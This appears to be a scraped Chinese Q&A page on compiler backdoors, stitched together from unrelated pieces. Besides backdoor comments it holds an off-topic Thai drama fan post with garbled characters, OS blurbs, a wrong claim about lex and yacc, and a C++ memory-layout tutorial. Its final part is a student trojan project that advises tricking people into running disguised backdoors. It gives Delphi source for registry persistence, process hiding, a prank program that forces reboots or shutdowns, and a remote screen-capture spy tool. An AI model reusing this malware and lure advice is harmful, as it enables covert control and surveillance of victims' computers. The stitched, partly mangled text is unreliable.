底層編譯器後門
1. 如何評價 Ken Thompson 在 C 編譯器里植入了後門這件事
Ken Thompson 的確做了這件事,但是並非在「第一個 C 語言編譯器」,更沒有誇張到「任何一台 UNIX 機器」的程度。一個 demo 、 proof of concept 而已。這個鏈接指向的文章也不是什麼論文,而是 Ken 因為 UNIX 獲得圖靈獎後的演講時提出的。
怎麼評價?
人家就是牛啊!
這件事情從現在挺火的「可信計算」角度來說是很有意義的。到底怎麼樣算是安全可信呢?閉源不可信,那開源就可信了么?工具鏈可信了么?底層操作系統、甚至硬體可信了么?
2. 如何評價 Ken Thompson 在 C 編譯器里植入了後門這件事
ken家的小公主-aff
喜歡ken是從臨時天堂的時候,帥氣的kawee,從需要愛,不懂愛到為了愛追回ann,讓人又愛又恨。從小母親死去,爸爸一次又一次的結婚,是他傷心,可以說他也是無辜,他不懂,他不知道。後來他領會了,他有了自己的小孩,他拚命的挽回……
喜歡aff是從愛的被告的時候,我開始不習慣看著泰國的女明星,有的是混血的,但有的有不是。她們在我看來都是第二眼美女(希望喜歡她們的親不要生氣,就是個觀點)。但是看見aff,我覺得她是落入凡間的天使,讓人愛慕。她是完美的女人,有著超高的學歷:泰國第一學府,完美的氣質,看過aff的都不能否定她的美貌。泰劇第一影響就是很吵,但是aff的聲音很溫柔,讓人回味。平心而論,我嫉妒,我羨慕。但只因aff—我喜歡上她了。
於是看了《裂心》……
對於裂心的評價,喜歡的人可以將這部電視收藏,甚至不舍刪去。不喜歡的會說他演的不知所雲,讓人摸不著頭腦。不過客觀的說,有些劇情是無法解閥虎脆臼詒鉸錯歇氮忙釋。就是白血病可以生小孩,而且可以使用癌症的專家,我也覺得好奇怪,但就只是編劇的問題,不是演員的問題。演員的任務就是根據劇本走,最起碼這是最主要的任務,你無權改變編劇的思想。劇本是他們的心血,構思的缺陷,是每個人都會有的。我們無全責備。
《下一站,愛你》創下了泰國的電影的收視奇跡,看見海報上有aff,開始一陣欣喜,看完電影才知道,aff只是客串,客串ken的前女友。我心一陣失落,怎麼會這樣呢。帶著有色的眼睛看著電影,覺得女主不好看,演技不夠,反正心裡就是不舒服,但我知道,女主也很好,但就是接受不了。輕軌戀曲,演繹著他們破碎的戀情,他們曾經的相愛,只是一描而過。
《裂心》很有愛。vic是個完美的男生,他的愛是唯一的,是無法再愛上另外女人。aoey為了不讓vic傷心,她離開了,離開去美國。為了遵守八年前的約定她回來了,看著事業如日升天的他,她明白他的努力是為了自己。她心動了,她不再想再次離開。在頒獎晚會完了之後,她祝福他,然後開始奇妙之旅……然而她的身邊多個他,另外一個優秀的男子-lak。他生氣,他嫉妒,但是他掩飾自己的愛。他開始試著個另外一個女明星vicky接觸,為的就是讓她嫉妒,他們之間的矛盾越來越深。她在再次想離開了,離開這里,和別人結婚。她去了曾經夢想的飯店,兩人依舊有當初的心動。只是都不願開口。她離開了……他知道了,他去追了。八年前錯過了,八年後他不在錯過。他追上了,開始了他們的甜蜜之旅……
之後他們沒有新的合作作品出現。我期待著,但是每每失望,我放棄了,其實這樣也好,心中的經典不要讓他從心中消失……
ken生下第二個兒子的時候,我在網上看見aff祝福ken的視頻,只是沒有中字,我聽不懂。但我很高興,最起碼他們現實中相處的很好。只是心中一陣落寞……
我依舊期待著他們的作品,aff的《一諾傾情》真的很棒,演出泰國古時的風采,和tik的合作也很好,最起碼可以看出aff在三台的地位。ken的《365天的愛》正在熱播,我在追劇,ann依舊是演技為王後,ken詮釋成熟的律師也非常完美。
最後希望他們可以在屏幕長存吧。我堅信美麗的願望可以實現……
參考資料:blog.sina.com.cn/s/blog_69122d4a0100mkzv.html
3. 很奇怪為什麼國內沒有任何組織或個人開發最底層的中文編譯器呢
這是一個技術問題,你如果沒讀過編譯原理(龍書)的話,你是看不懂下面的回答的。因為中國技術不足,沒人能寫出支持中文的lex和yacc。首先詞法分析生成器lex,就對中文不友好,它只支持ascii字母,不支持中文。這意味著你編譯器里的詞彙只能是英文單詞,不能是中文詞彙。其次就是語法分析生成器yacc了,也不支持中文,只支持用英文寫的語法規則,不能用中文書寫。這意味著最最基本的語法規則是全英文的,這算哪門子中文編程語言。非常遺憾,中國目前沒有牛人造出支持中文的lex和yacc來,否則全中文編譯器一定會滿天飛的,多到爛大街。為什麼說多到爛大街?一個全中文的編譯器其實僅僅需要修改編譯器的前端詞法分析器和語法分析器(語法分析器甚至無需大改動),後端直接對接開源代碼即可,開源英文編譯器已經爛大街了,把它們的後端移植過來就行了。但關鍵就是沒有支持中文的自動化工具lex和yacc。
自動化這條路走不通,純手寫總可以吧。我猜測易語言就是前端純手寫的全中文編譯器。你可以使用易語言,絕對可以達到你的要求。但是從技術的角度來講,lex和yacc的技術高度遠高於易語言,畢竟lex和yacc號稱編譯器的編譯器,編譯器之母。
4. Windows系統的後門有什麼不要說沒有。記得當年破解的Windows系統,還可以被微軟控制。
Windows系統Windows操作系統是一款由美國微軟公司開發的窗口化操作系統。採用了GUI圖形化操作模式,比起從前的指令操作系統如DOS更為人性化。Windows操作系統是目前世界上使用最廣泛的操作系統。最新的版本是Windows8。Unix系統Unix系統是1969年在貝爾實驗室誕生,最初是在中小型計算機上運用。最早移植到80286微機上的Unix系統,稱為Xenix。Xenix系統的特點是短小精幹,系統開銷小,運行速度快。UNIX為用戶提供了一個分時的系統以控制計算機的活動和資源,並且提供一個交互,靈活的操作界。UNIX被設計成為能夠同時運行多進程,支持用戶之間共享數據。同時,UNIX支持模塊化結構,當你安裝UNIX操作系統時,你只需要安裝你工作需要的部分,例如:UNIX支持許多編程開發工具,但是如果你並不從事開發工作,你只需要安裝最少的編譯器。用戶界面同樣支持模塊化原則,互不相關的命令能夠通過管道相連接用於執行非常復雜的操作。UNIX有很多種,許多公司都有自己的版本,如AT&T、Sun、HP等Netware系統Netware是NOVELL公司推出的網路操作系統。Netware最重要的特徵是基於基本模塊設計思想的開放式系統結構。Netware是一個開放的網路伺服器平台,可以方便地對其進行擴充。Netware系統對不同的工作平台(如D0S、0S/2、Macintosh等),不同的網路協議環境如TCP/IP以及各種工作站操作系統提供了一致的服務。該系統內可以增加自選的擴充服務(如替補備份、資料庫、電子郵件以及記賬等),這些服務可以取自Netware本身,也可取自第三方開發者。Linux系統Linux是一種自由和開放源碼的類Unix操作系統,存在著許多不同的Linux版本,但它們都使用了Linux內核。Linux可安裝在各種計算機硬體設備中,比如手機、平板電腦、路由器、視頻游戲控制台、台式計算機、大型機和超級計算機。Linux是一個領先的操作系統,世界上運算最快的10台超級計算機運行的都是Linux操作系統。嚴格來講,Linux這個詞本身只表示Linux內核,但實際上人們已經習慣了用Linux來形容整個基於Linux內核,並且使用GNU工程各種工具和資料庫的操作系統。Mac系統MacOS操作系統是美國蘋果計算機公司為它的Macintosh計算機設計的操作系統的一代操作系統,該機型於1984年推出,在當時的PC還只是DOS枯燥的字元界面的時候,Mac率先採用了一些我們至今仍為人稱道的技術。比如:GUI圖形用戶界面、多媒體應用、滑鼠等,Macintosh計算機在出版、印刷、影視製作和教育等領域有著廣泛的應用,MicrosoftWindows至今在很多方面還有Mac的影子,最近蘋果公司又發布了目前最先進的個人電腦操作系統MacOSX
5. 源碼後門犯法嗎
犯法的。
源代碼(也稱源程序),是指一系列人類可讀的計算機語言指令。 在現代程序語言中,源代碼可以是以書籍或者磁帶的形式出現,但最為常用的格式是文本文件,這種典型格式的目的是為了編譯出計算機程序。
計算機源代碼的最終目的是將人類可讀的文本翻譯成為計算機可以執行的二進制指令,這種過程叫做編譯,通過編譯器完成。
6. Visual Studio 2015 C++編譯器檢測有後門是真的嗎
你先define一個_SCL_SECURE_NO_WARNINGS宏,把第一個錯誤幹掉,然後再看後面的。
7. 如何評價 Ken Thompson 在 C 編譯器里植入了後門這件事
C語言是一種計算機程序設計語言。它既有高級語言的特點,又具有匯編語言的特點。它可以作為系統設計語言,編寫工作系統應用程序,也可以作為應用程序設計語言,編寫不依賴計算機硬體的應用程序。因此,它的應用范圍廣泛。 C語言對操作系統和系統.
8. C/C++最底層是怎麼實現的
許多同學可能在學習C++的時候,都會感到一定的困惑,繼承到底是怎樣分配空間的,多態到底是如何完成的,許許多多的問題,必須挖掘到C++底層處理機制,才能搞明白。有許多C程序員也並不認同C++,他們認為C++龐大又遲緩,其更重要的原因是,他們認為「C++是在你的背後做事情」。的確,C++編譯器背著程序員做了太多的事情,所以讓很多不了解其底層機制的人感到困惑。想成為一個優秀的程序員,那麼這樣的困惑就不應該存在,只有了解了底層實現模型,才能寫出效率較高的代碼,自信心也比較高。
我們先從一個簡單但有趣的例子談起。有如下的4個類:
class X {};
class Y : public virtual X {};
class Z : public virtual X {};
class A : public Y, public Z {};
上面的4個類中,沒有任何一個類里含明顯的數據,之間只是表示了繼承關系,那麼如果我們用sizeof 來測量它們的大小,將會得到什麼結果呢?
你可能會認為,既然沒有任何數據和方法,大小當然為0,而結果肯定會出乎你的意料,即使是class X 的大小也不為0。
在不同的編譯器上,將會得到不同的結果,而在我們現在最常用的VC++編譯器上,將得到如下的結果:
sizeof X 的結果是 1 。
sizeof Y 的結果是 4 。
sizeof Z 的結果是 4 。
sizeof A 的結果是 8 。
驚訝嗎?那麼為什麼會得到這樣的結果?讓我們一個一個來分析。
對於一個空的class,事實上並不是空的,它有一個隱晦的1 byte ,那是被編譯器安插進去的一個char 。這使得這個class 的兩個對象得以在內存中配置獨一無二的地址,這就是為什麼 sizeof X 的結果是 1。
那麼Y和Z呢,怎麼會佔用 4 byte ?其實它們的大小受到三個因素的影響:
1. 語言本身所造成的額外負擔:當語言支持多態時,就會導致一些額外負擔。在派生類中,這個額外負擔表現在一個指針上,它是用來指向一個被稱作「虛函數列表」的表格。而在VC++編譯器上,指針的大小正好是 4 byte 。
2. 編譯器對於特殊情況所提供的優化處理:在class Y 和 class Z 中,也將帶上它們因為繼承class X 而帶來的 1 byte ,傳統上它被放在派生類的固定部分的尾端。而某些編譯器(正如我們現在所討論的VC++編譯器)會對空的基類提供特殊的處理,在這個策略下,一個空的基類被視為派生類對象最開頭的一部分,也就是說它並沒有花費任何額外空間(因為既然有了成員,就不需要原本為了空類而安插一個char了),這樣也就節省了這 1 byte 的空間。事實上,如果某個編譯器沒有提供這種優化處理,你將發現class Y 和 class Z 的大小將是8 byte ,而不僅僅是5 byte 了,原因正如下面第3點所講。
3. 「對齊」(Alignment)機制:在大多數機器上,群聚的結構體大小都會受到alignment的限制,使它們能夠更有效率地在內存中被存取。Alignment 就是將數值調整到某數的整數倍。在32位計算機上,通常alignment 為 4 byte(32位),以使匯流排達到最大的「吞吐量」,在這種情況下,如上面所說,如果 class Y 和class Z 的大小為 5 byte ,那麼它們必須填補 3 byte ,最終得到的結果將是 8 byte 。是不是開始感謝VC++編譯器幸好有這樣的優化機制,使得我們節約了不少內存空間。
最後,我們再來看看 class A ,它的大小為什麼是 8 byte ?顯而易見,它繼承了class Y 和class Z ,那麼它的大小直接就把 class Y 和class Z 的大小加起來就夠了。真有這么簡單嗎?實際上這只是一個巧合而已,這是因為之前編譯器的優化機制掩蓋這里的一些事實。對於沒有優化的 class Y 和class Z 來說,他們的大小都是8 byte ,那麼繼承了它們兩個的 class A 將是多大呢?16 byte?如果你有這樣的編譯器試一下的話,你會發現答案是12 byte 。怎麼會是12 byte 呢?記住,一個虛擬繼承的基類只會在派生類中存在一份實體,不管它在 class 繼承體系中出現了多少次!class A的大小由下面幾部分決定:
l 被大家共享的唯一一個 class X的實體,大小為1 byte。
l 基類class Y 的大小,減去因虛擬繼承的基類class X而配置的大小,也就是4 byte 。基類class Z的演算法相同,它們加起來就是8 byte 。
l class A自己的大小,0 byte 。
l class A 的alignment的大小(如果有的話)。前述三項的總和是9 byte ,那麼調整到4 byte的整數倍,也就是12 byte 。
我們前面討論的VC++編譯器得出的結果之所以是8 byte ,是因為 class X 實體的那1 byte被拿掉了,於是額外的3 byte也同樣不必了,因此就直接把class Y 和class Z的大小加起來,得到8 byte 。
這個例子看懂了嗎?是不是對C++的底層機制開始感興趣了?那麼我們再來舉一個同樣有趣的例子。
有這樣一個類:
class A {
private:
int a;
char b;
char c;
char d;
};
它的大小是多少呢?
如果你有記得我之前提到的alignment機制的話,你應該會猜到它的大小是8 byte 。的確如此,int a佔用4 byte ,char b , char c 和char d各佔1 byte ,加起來是7 byte ,再加上alignment額外帶來的1 byte ,總共是8 byte 。
瞧,就是這么簡單,那麼現在我們把裡面的成員變數換換位置,如下:
class A {
private:
char d;
int a;
char b;
char c;
};
我們將char d拿到第一個位子,放在int a之前。那麼現在你能告訴我class A的大小是多少呢?你肯定不會再猜8 byte了,因為你會覺得這與上面似乎有些不同,但你不能肯定到底是多大。不敢確定的時候就去試試吧,原來是12 byte ,這又是怎麼回事呢?同樣的類,只是改變了成員變數的位子,怎麼就會多出4 byte的存儲空間?其實這一切又是由變數的存儲規則造成的。對於一個類來說,它裡面的成員變數(這里單指非靜態的成員變數)是按聲明的順序存儲在內存空間中的。在第一種的情況中,它們緊緊的排列在一起,除了由於alignment所浪費的1 byte空間外,它們幾乎用了最小的存儲空間;而在第二種情況中,它們則不是排列得那麼緊密了,錯誤就在於char d ,它一個人就佔用了4 byte 。為什麼它會佔用4 byte呢,其實責任也不全在它,後面的int a也有不可推卸的責任。Int 型數據在VC++編譯器中正好是佔用4 byte的,等於一個alignment量,而這4 byte一定是密不可分的。當char d佔用了1 byte後,其後空出了3 byte(對於一個alignment量來說),而一個int型數據不能被拆成3 byte +1byte來存儲,那樣編譯器將無法識別,因此int a只有向後推到下一個alignment的開始,這樣char d就獨佔了4 byte ,中間有3 byte浪費掉了。而後面的char b和char c依舊緊密排列,最後又由於alignment調整2 byte ,整個類的大小就變為了12 byte 。
看了這個例子,是不是該反省以前隨意定義成員變數了?如果你要定義一個含3個int型數據和4個char型數據的類,本來最優化的方法只需要16 byte ,而你卻隨意的定義成如下的樣子:
class F{
private:
char c1;
int i1;
char c2;
int i2;
char c3;
int i3;
char c4;
};
看看結果是什麼,這個類竟然要佔據28 byte的空間,比剛才整整大了12 byte!
再來看看繼承的時候,成員變數是怎樣存放的。我們將第2個例子中的class A 改成三層的繼承模式,或許我們在做項目中,真的會遇到這樣的情況。
class A1{
private:
int a;
char b;
};
class A2: public A1{
private:
char c;
};
class A3:public A2{
private:
char d;
};
現在我們來預測一下class A3 的大小,是8 byte嗎?不,結果竟是16 byte ,竟然整整多了1倍。這是為什麼呢?按照成員變數的排列順序,int a,char b,char c,char d應該緊密的排列在一起,8 byte沒錯。但事實並非如此,這些都是因為繼承而造成的。知道「在繼承關系中,基類子對象在派生類中會保持原樣性」嗎?或許這樣專業的一句話,你並不能明白是什麼意思,那麼聽我下面的分析。在為派生類分配內存空間的時候,都是先為基類分配一塊內存空間,而所謂的「原樣性」是指基類原本在內存空間中是什麼樣子,那麼它在派生類里分配的時候就是什麼樣子。拿這個例子來說,class A1占據了8 byte的空間,其中int a佔4 byte ,char b佔1 byte ,因alignment而填補3 byte 。對於class A1來說,占據8 byte空間沒什麼好抱怨的,但是class A2呢?輕率的程序員會認為,class A2隻在class A1的基礎上增加了唯一一個char c ,那麼它應該會和char b綁在一起,佔用原本用來填補空間的1 byte ,於是class A2的大小是8 byte,其中2 byte用於填補空間。然而事實上,char c是被放在填補空間所用的3 byte之後,因為在class A2中分配的class A1應該完全保持原樣,於是class A2的大小變成12 byte ,而不是8 byte了,其中有6 byte浪費在填補空間上。相同的道理使得class A3 的大小是16 byte ,其中9 byte用於填補空間。
那麼也許你會問,既然「原樣性」會造成這樣多的空間浪費,那麼編譯器為什麼還要這樣做呢?其實這樣做是有它的必要的。我們考慮下面這種情況:
A1* pA1=new A1();
A1* pA2=new A2();
*pA1=*pA2;
我們定義了兩個A1型指針,一個指向A1對象,一個指向A2對象。現在我們執行一個默認的復制操作(復制一個個的成員變數),那麼這樣一個操作應該是把pA2所指的對象的A1那部分完全復制到pA1所指的對象里。假設編譯器不遵循「原樣性」,而是將派生類的成員和基類的成員捆綁在一起存放,去填補空間,那麼這樣的操作變會產生問題了。A1和A2都佔8 byte ,pA2會將其所指的8 byte空間里的內容全部復制給pA1所指的對象,那麼pA1所指的對象本來只有2個數據,3 byte的填補空間,而復制後卻變成了3個數據,2 byte的填補空間了,對於char c ,我們並不想把它復制過來的。這樣完全破壞了原語意,而這樣引起的bug幾乎是無法察覺的。
9. 電腦網路中的「後門」是什麼意思
電腦網路中的「後門」即是網路的漏洞
一、問題的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."這是著名匿名伺服器站點Anonymizer上曾有過的一段話。是的,在不知不覺中,E時代已經到來,網路給我們的生活增添了絢麗與多彩。但是,在這五彩繽紛的世界下面,潛伏著一股黑潮暗流--黑客(HACKER)。這個名詞越來越引起世人的關注,而且影響越來越大,關於黑客事件的報道也越來越多。黑客是伴隨網路產生成長的,是指那些對電腦和網路有狂熱興趣的人,他們不斷的研究電腦和網路知識,發現電腦和網路中的漏洞,喜歡挑戰高難度的網路系統,千方百計的尋找網路中的大小漏洞,然後向網路管理員提出解決漏洞的建議。真正的黑客大多是賦有正義感的。他們不會惡意侵入他人系統,並且破壞系統程序和數據。但有一些人特別崇拜黑客,喜歡利用電腦網路四處搗亂,到處尋找黑客軟體,然後到處搞破壞,這類人應該是網路上最危險的傢伙。現在的媒體把這類人是黑客混為一談,"黑客"一詞也因此成了貶義詞。
現在的黑客軟體十分多,Back Orific、冰河、YAI到處都有。接觸網路後,我經常想:黑客軟體到底是如何編制的?我能編一個黑客軟體多好呀!這到不是想干壞事,因為在網路機房上課時,用一些黑客軟體可以作為控制工具來控制學員的機器(如:冰河)。可見黑客軟體本身不象病毒是個不好的東西,是可以用在正路上的。經過我的摸索,初步掌握了一些設計方法,主要是特洛伊木馬程序。本次畢業設計,我設計一個模擬黑客入侵程序,一個惡作劇程序,一個可以截獲網路上別人在機器上幹些什麼的程序,幾個程序純屬用於實驗,沒有什麼其它目的。在這里向各位老師匯報一下。程序設計的語言用的是PASCAL,用DELPHI 4進行編譯。
二、"特洛伊木馬"如何入侵系統
一個完整的"特洛伊木馬"一般分為兩個部分:一個是客戶服務程序(Client),用它來控制已經打開"後門"的機器;另一個是"後門"程序,用它來開放某台機器。假設我們想控制某台電腦,那麼我們通過一些手段來把"後門"程序傳到該電腦中並使其運行,這樣該電腦就變成了一台特殊的ftp伺服器。然後我們使用Client程序就可以控制該電腦了。當然,後門程序如果不運行也就無法發揮作用。因此,就要"誘騙"別人使用後門程序。如果是朋友或熟人,利用他們的信任讓他運行就行了;要是陌生人,可以在聊天室中和他們套近乎,一旦取得信任,把程序發給他們,誘騙其運行。當然,程序要隱蔽一些,例如可以把後門程序改名,變為README之類,或改變後綴,變成GIF、BMP等,當他們雙擊這些文件後就上了"賊船"了。也可以用WINZIP的把後門程序和一些東西製作成一個自解壓包,然後利用設定解壓後自動運行SETUP程序功能來運行指定的後門程序。總之,要利用一切手段使人家運行後門程序。
木馬程序運行後,會通過不同的方式修改系統,以便以後啟動系統後自動運行木馬。修改方法一般是通過修改注冊表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的項目是在系統開機時自動載入的,我們可以在這兩添加鍵值,達到自動啟動的目的。以下的這段代碼可以修改注冊表,並調用API函數判斷系統目錄,復制文件到其下,以實行入侵系統的目的:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procere TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
file(pchar('hacker.exe'),pchar(temp),true);
end;
procere TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.
也有些高明的程序可以感染系統文件,附著在這些程序文件中,以達到其目的。我還沒有搞清楚這是怎樣辦到的。
在Windows中按下Ctrl+Alt+Del可以顯示當前運行的程序,這樣一來,我們的木馬程序不是要露餡了嗎?以下這段匯編代碼可以很方便的嵌入DELPHI或C++中,讓別人看不到你的程序,可以很好的隱藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
為什麼這段匯編代碼可以隱藏程序呢?據資料分析:在WINDOWS 9X載入應用程序時,FS指向的段就是類似於DOS應用程序的PSP,裡面保存著一些有關應用程序重要數據,按下Ctrl+Alt+Del後,對於一個應用程序,若沒有可顯示的ENABLE窗口的名字,則系統要檢查上面程序段中的特定雙字是不是10800000h,如果是就不顯示這個應用程序的可執行文件的名字。
下面是一個惡作劇的程序,入侵計算機後,每次開機後,隨機出現滑鼠亂跑並發出怪叫、熱啟動、強行關機的現象,讓你無法進入WINDOWS 9X。對於一般的計算機用戶來說,因為找不出這個程序在何處,所以只能格式化系統區,重新安裝系統。
program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.
有的木馬為了防止發現後被清除,在啟動時會產生一個備份,一般是感染WINDOWS的系統文件,當木馬被發現並清除後,備份會自動激活,使你依然處於遠程黑手的控制。比如當前國最盛行的"冰河",首先會修改注冊表的啟動項目,將自己復制兩份到系統中,分別為KERNEL32.EXE和SYSEXPLE.EXE,並且修改TXT文件的打開方式,一旦KERNEL32.EXE被刪除,那麼當打開一個TXT文件時,SYSEXPLE.EXE將再產生一個KERNEL32.EXE文件。
另外,有的木馬還能在運行後修改文件名,或者復制感染系統後,進行自我銷毀,使用戶很難進行查找。
三、木馬的種類
1、破壞型
惟一的功能就是破壞並且刪除文件,可以自動的刪除電腦上的DLL、INI、EXE文件。
2、密碼發送型
可以找到隱藏密碼並把它們發送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計算機中,認為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟體可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟體長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。
在這里提醒一下,不要認為自己在文檔中加了密碼而把重要的保密文件存在公用計算機中,那你就大錯特錯了。別有用心的人完全可以用窮舉法暴力破譯你的密碼。利用WINDOWS API函數EnumWindows和EnumChildWindows對當前運行的所有程序的所有窗口(包括控制項)進行遍歷,通過窗口標題查找密碼輸入和出確認重新輸入窗口,通過按鈕標題查找我們應該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在一個文件中,以便在下一個序列的密碼再次進行窮舉或多部機器同時進行分工窮舉,直到找到密碼為止。此類程序在黑客網站上唾手可得,精通程序設計的人,完全可以自編一個。
3、遠程訪問型
最廣泛的是特洛伊馬,只需有人運行了服務端程序,如果客戶知道了服務端的IP地址,就可以實現遠程式控制制。以下的程序可以實現觀察"受害者"正在干什麼,當然這個程序完全可以用在正道上的,比如監視學生機的操作。
程序中用的UDP(User Datagram Protocol,用戶報文協議)是網際網路上廣泛採用的通信協議之一。與TCP協議不同,它是一種非連接的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠程屏幕監視還是比較適合的。它不區分伺服器端和客戶端,只區分發送端和接收端,編程上較為簡單,故選用了UDP協議。本程序中用了DELPHI提供的TNMUDP控制項。
受控機程序部分:
讓控制項CUDP監視受控機的1111埠,當有數據發送到該口時,觸發控制項CUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為2222,當控制項CUDP發送數據時,將數據發送到主控機的2222口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;
type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
client: Tclient;
implementation
const bufsize=2048;//發送每一批數據的緩沖區大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}
procere screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,src);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procere Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;
procere Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;
procere Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//讀取控制碼
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制碼前4位為"SHOW"表示主控機發出了截屏指令
if bmpstream.Size=0 then//沒有數據可發,必須截屏生成數據
begin tmpstr:=strpas(ctrlcode);
tmpstr:=(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint((tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//調用截屏函數
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP為主控機IP地址
cudp.SendBuffer(buf,sendsize);//將數據發到主控機的2222埠
end;
end;
end.
主控機程序部分:
讓控制項SUDP監視主控機的2222埠,當有數據發送到該口時,觸發SUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為1111,當控制項SUDP發送數據時,將數據發到受控機的1111口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;
type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procere BitBtn2Click(Sender: TObject);
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere BitBtn1Click(Sender: TObject);
procere sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
sever: Tsever;
implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}
procere Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;
procere Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;
procere Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;
procere Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
procere Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.
四、如何預防黑客
黑客程序雖然破壞大,但不是不能防止的。
1、處理好你的密碼
